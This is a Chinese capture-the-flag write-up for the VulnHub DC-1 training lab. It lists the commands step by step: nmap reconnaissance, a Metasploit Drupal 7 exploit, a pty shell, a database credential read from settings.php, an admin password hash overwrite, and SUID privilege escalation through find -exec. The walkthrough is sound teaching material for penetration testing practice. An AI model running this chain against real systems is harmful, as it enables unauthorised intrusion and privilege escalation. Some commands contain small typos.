DC-1 实验靶场步骤讲解

一、环境搭建:

1、靶机描述

DC-1是一个专门建立的脆弱实验室,目的是获得渗透测试领域的经验。它是为初学者设计的挑战,但它到底有多容易取决于你的技能和知识,以及你的学习能力。要成功完成这一挑战,您需要掌握Linux技能,熟悉Linux命令行,并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。有多种方法可以获得根,但是,我为初学者提供了一些包含线索的标志。总共有五个flag,但最终目标是在根的主目录中找到并读取标志。您甚至不需要成为根用户来执行此操作,但是,您将需要根权限。根据您的技能水平,您可以跳过寻找大多数这些标志,然后继续直。初学者可能会遇到他们以前从未遇到过的挑战,但是谷歌搜索应该是获得完成这个挑战所需的信息所必需的。

根据描述信息我们可以知道本靶场环境总共有4个flag。

2、下载靶场环境

    靶场下载地址:

https://www.vulnhub.com/entry/dc-1,292/

二、渗透靶场

    本环境重在在于如下两个知识点

    Drupal 7  漏洞利用

find  提权

1、目标:

目标就是我们搭建的靶场,靶场IP为:XXX.XXX.XXX.XXX/24

2、信息收集:寻找靶机真实IP

nmap -sP 1 XXX.XXX.XXX.XXX /24

扫描网段中有哪些主机在线,使用 -sP 参数,不扫描端口,只扫描「存活主机」。本质上是Ping扫描,能Ping通有回包,就判定主机在线。以下出现五个IP其中有一个是真是IP(192.168.146.129)为真实IP(192.168.146.129是在虚拟机中我个人的真实IP,反之自己需要按照步骤自己查看真实的IP)

3、信息收集:探端口及服务

输入nmap -A -p- -v 192.168.146.129(请输入自己IP地址)

-A 综合性扫描

-v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息

发现开放了22端口,开放了ssh服务,OpenSSH 6.0p1
发现开放了80端口,存在web服务,Apache httpd 2.2.22,Drupal 7
发现开放了111端口,开放了rpcbind服务

访问web站点

发现是一个电信的drupal服务,根据nmap结果可知当前运行的是Drupal 7的CMS

输入searchsploit  drupal 7

也可以在浏览器搜索drupal 7相关版本漏洞

利用MSF渗透

进入MSF控制台搜索drupal模块

输入msfdb run回车进入MSF控制台(图案跟我的不相同是正常的。每次的图案都是不一样的)

输入search drupal搜索drupal模块

4.我们选择用2018的模块进行测试

输入use 1

5.设置靶机IP运行msf,输入代码和IP (set RHOST 192.168.146.129)

6.输入run攻击

7.输入shell回车

输入whoami执行whoami

8.发现是www-data权限

输入cd /home回车输入ls回车,进入home目录,输入cd flag4回车输入ls回车,发现flag4.txt文件,提示需要提升权限,输入flsg4.txt回车

9.使用python反弹一个交互式shell

输入代码python -c "import pty;pty.spawn('/bin/bash')"

10.发现flag1文件

查看www目录下文件,发现flag1.txt文件,打开发现提示信息,内容提示寻找站点的配置文件

11.发现flag2

输入代码cat /var/www/sites/default/settings.php查看文件内容

 发现了flag2和数据库的账号密码。flag2提示,提升权限为root来查看敏感文件

输入drupaldb回车,然后输入R0ck3t回车

输入show databases;进入数据库查看

继续输入use drupaldb回车切换到drupaldb数据库

输入show tables;回车

查看查找默认的Drupal user 表

输入select * from users;回车

发现admin信息

 解决方法:置换drupal密码

输入网址drupalchina.cn/node/2128

输入quit;回车,站点路径下执行

输入代码php scripts/password-hash.sh 新密码(我设置的是123,这里建议也设置为123)进入mysql数据库输入密码123切换到drupaldb数据库

输入mysql -u dbuser -pR0ck3t回车

输入use drupaldb回车

将pass字段进行替换

输入代码update users setpass=" $S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw "  where name="admin";

继续输入代码把之前的两个双引号之间的空格删除输入代码update users setpass="$S$DP1Ap9LH4p/fiYkxkQsYJfj/rc7pmEzd17IAimm0pDYMcpVTT2tw" where name="admin";

12.登录站点;

输入账号和密码进入账号;admin  密码;123成功登入

13.发现flag3

    登陆战点之后,随便翻一番,发现flag3

http://192.168.66.140/node#overlay=admin/content

点击flag3进入,发现提示信息

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.

大致意思是提权并提示 -exec,想到suid提权 find 命令

​ SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls,其属主为root,当我们通过非root用户登录时,如果ls设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.

​ 利用此特性,我们可通过SUID进行提权

    使用命令查看 suid 权限的可执行二进制程序

输入quit;回车

继续输入代码find / -perm -4000 2>/dev/null回车

发现find命令

使用命令测试,发现为root权限

输入touch 123回车,输入ls回车

输入代码find ./ -name 666 -exec "/bin/sh" \;回车

14.发现flag4

此时我们查看 /etc/passwd 文件发现存在 flag4 用户,我们也可以使用 hydra 进行爆破。然后ctrl+z退出输入shell输入whoami然后输入cat /etc/passwd

以上就是DC-1试验靶场的实验步骤。感谢大家的观看

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值